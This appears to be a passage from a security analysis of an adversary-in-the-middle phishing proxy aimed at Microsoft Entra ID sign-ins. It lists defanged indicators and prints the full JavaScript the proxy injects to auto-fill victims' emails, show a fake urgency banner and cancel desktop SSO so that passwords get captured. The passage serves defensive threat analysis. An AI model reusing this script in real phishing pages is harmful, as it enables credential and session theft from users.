The proxy captures the victim’s credentials and session tokens and forwards them to the attackers. After the phishing is complete, the victim is seamlessly redirected to the legitimate Office home application (OfficeHome). Depending on whether an existing SSO session is active, the user may not notice anything unusual – they simply end up where they expected.

The victim’s original user-agent string is passed through to Entra ID by the proxy. However, the proxy server itself appears in Entra ID sign-in logs under its own IP address: 23.27.245[.]153.

The phishing proxy injects some custom JavaScript into the https://signin.securedocsportal[.]com/common/oauth2/v2.0/authorize endpoint:

<script nonce="z3MNZqhyQRF-OmxIs-lYHA">// You need to define checkElement2 first
checkElement2 = async function(selector) {
    while (null === document.querySelector(selector)) {
        await new Promise(resolve => requestAnimationFrame(resolve));
    }
    return document.querySelector(selector);
};
// Define checkElement3 for desktop SSO cancel
checkElement3 = async function(selector) {
    while (null === document.querySelector(selector)) {
        await new Promise(resolve => requestAnimationFrame(resolve));
    }
    return document.querySelector(selector);
};
function lp() {
    var emailId = document.querySelector("#i0116");
    var nextButton = document.querySelector("#idSIButton9");
    var query = window.location.href;
    if (/#/.test(query)) {
        var res = query.split("#");
        var potentialEmail = res[1];
        if (emailId != null && potentialEmail) {
            function isValidEmail(email) {
                var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                return emailRegex.test(email);
            }
            function decodeBase64(str) {
                try {
                    // Only attempt Base64 decode if no @ symbol and looks like Base64
                    if (!str.includes('@') && /^[A-Za-z0-9+/]+={0,2}$/.test(str)) {
                        while (str.length % 4 !== 0) {
                            str += '=';
                        }
                        return atob(str);
                    }
                    return null;
                } catch (e) {
                    return null;
                }
            }
            // Remove any trailing = that might have been added previously
            var cleanEmail = potentialEmail.replace(/=+$/, '');
            // Check direct email first (without any added = characters)
            if (isValidEmail(cleanEmail)) {
                emailId.focus();
                emailId.value = cleanEmail;
                nextButton.focus();
                nextButton.click();
                return true; // Success - stop retrying
            } else {
                // Only try Base64 if no @ symbol present
                var decoded = decodeBase64(cleanEmail);
                if (decoded && isValidEmail(decoded)) {
                    emailId.focus();
                    emailId.value = decoded;
                    nextButton.focus();
                    nextButton.click();
                    return true; // Success - stop retrying
                }
            }
        }
    }
    // DOM Manipulation for password recovery section
    checkElement2("#idA_PWD_ForgotPassword").then(_0x54c929 => {
        var node = document.getElementById("i0118");
        if (node && !document.querySelector("#important")) {
            node.insertAdjacentHTML("beforebegin", "<div id=\"important\" class=\"alert alert-error\">Because you're accessing sensitive info, you need to verify your password</div>");
        }
        return;
    });
    // Desktop SSO Cancel feature
    checkElement3("#desktopSsoCancel").then(_0x468602 => {
        var cancel = document.getElementById("desktopSsoCancel");
        if (cancel && !cancel.hasAttribute('data-clicked')) {
            cancel.setAttribute('data-clicked', 'true');
            cancel.focus();
            cancel.click();
        }
        return;
    });
    // Only retry if we haven't successfully filled the email
    setTimeout(function() { lp(); }, 100);
}
setTimeout(function() { lp(); }, 100);
</script>

The script does three things:

1. Email pre-fill: It extracts the victim’s email address from the URL fragment (either plaintext or Base64-encoded) and automatically populates the email field, then clicks “Next” – making the login flow feel seamless.
2. Fake urgency message: Once the password prompt appears, it injects a custom error banner reading Because you’re accessing sensitive info, you need to verify your password, pressuring the victim into entering their credentials.
3. Desktop SSO bypass: It automatically clicks the “Cancel” button on the desktop SSO prompt, forcing the user into the password-based login flow where credentials can be captured.